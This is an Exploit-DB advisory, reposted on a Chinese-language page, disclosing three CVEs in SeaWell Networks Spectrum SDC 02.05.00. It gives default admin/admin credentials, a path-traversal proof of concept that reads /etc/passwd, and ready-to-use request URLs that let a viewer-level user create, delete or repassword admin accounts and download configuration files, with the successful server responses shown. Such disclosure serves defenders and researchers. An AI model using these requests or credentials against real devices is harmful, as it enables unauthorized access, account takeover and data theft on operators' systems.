SeaWell Networks Spectrum – Multiple Vulnerabilities

  • 作者: Karn Ganeshen
    日期: 2016-01-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39266/
  • # Exploit Title: [SeaWell Networks Spectrum - Multiple Vulnerabilities]
    # Discovered by: Karn Ganeshen
    # Vendor Homepage: [http://www.seawellnetworks.com/spectrum/]
    # Versions Reported: [Spectrum SDC 02.05.00, Build 02.05.00.0016]
     
    CVE-ID:
    CVE-2015-8282
    CVE-2015-8283
    CVE-2015-8284
    
    About SeaWell Networks Spectrum
    
    Session Delivery Control
    
    SeaWell set out to improve the way operators control, monetize and scale their IP video offerings, to meet the growing subscriber demands for video delivered to smartphones, tablets and game consoles.
    
    The result – Spectrum – is what we call a “Multiscreen 2.0” Session Delivery Controller.
    
    Spectrum is high-performance, carrier-grade software that takes ABR video and repackages it – on-the-fly – into any other protocol, including Apple HLS, Adobe HDS, Microsoft Smooth Streaming and MPEG-DASH.
    
    http://www.seawellnetworks.com/spectrum/
    
    Affected version
    Spectrum SDC 02.05.00
    Build 02.05.00.0016
    Copyright (c) 2015 SeaWell Networks Inc.
    
    A. CWE-255: Credentials Management
    CVE-2015-8282
    
    Weak, default login credentials - admin / admin
    
    B. CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
    CVE-2015-8283
    
    The configure_manage.php module accepts a file parameter which takes an unrestricted file path as input, allowing an attacker (non-admin, low- privileged user) to read arbitrary files on the system.
    
    PoC:
    
    https://IP/configure_manage.php?action=download_config&file=../../../../../../../../../etc/passwd
    
    C. CWE-285: Improper Authorization
    CVE-2015-8284
    
    A low privileged, non-admin user, with only viewer privileges, can perform administrative functions, such as create, update, delete a user (including admin user), or access device's configuration files (policy.xml, cookie_config.xml, systemCfg.xml). The application lacks Authorization controls to restrict any non-admin users from performing admin functions.
    
    The application users can have admin or viewer privilege levels. Admin has full access to the device. Viewer has access to very restricted functions.
    
    It is possible for a viewer priv user to perform admin functions.
    
    PoC:
    
    Add new user [Admin function only]
    
    GET /system_manage.php?username=viewer&password=viewer&password=viewer&userlevel=1&action=add_user&ekey=&LActiveRow= HTTP/1.1
    
    https://IP/system_manage.php?username=viewer1&password=viewer&password=viewer&userlevel=9&action=add_user&ekey=&LActiveRow=
    
    Here
    
    admin -> userlevel=9
    viewer -> userlevel=1
    
    Create new user with Admin privs
    Log in as viewer - try create new admin user - viewer1
    
    https://IP/system_manage.php?username=viewer1&password=viewer&password=viewer&userlevel=9&action=add_user&ekey=&LActiveRow=
    
    <result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>
    
    Delete user
    
    https://IP/system_manage.php?username=viewer1&password=&password=&userlevel=9&action=delete_user&ekey=4&LActiveRow=sys_Luser_4
    
    Modify existing user (including admin)
    log in as viewer - try change system (admin) user
    
    https://IP/system_manage.php?username=system&password=&password=&userlevel=9&action=delete_user&ekey=4&LActiveRow=sys_Luser_4
    
    <result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>
    
    Change Admin password
    log in as viewer - try change admin pass
    
    https://IP/system_manage.php?username=admin&password=admin1&password=admin1&userlevel=9&action=update_user&ekey=3&LActiveRow=sys_Luser_3
    
    <result><returnCode>0</returnCode><returnMsg>Success</returnMsg><loggedIn>1</loggedIn><payload/></result>
    
    Downloading configuration xml files
    
    viewer priv user has no access/option to config xmls via GUI. It is possible to download the configs by calling the url directly
    
    Access policy config xml
    https://IP/configure_manage.php?action=download_config&file=policy.xml
    
    Access cookie config xml
    https://IP/configure_manage.php?action=download_config&file=cookie_config.xml
    
    Access system config xml
    https://IP/configure_manage.php?action=download_config&file=systemCfg.xml
    
    +++++
    -- 
    Best Regards,
    Karn Ganeshen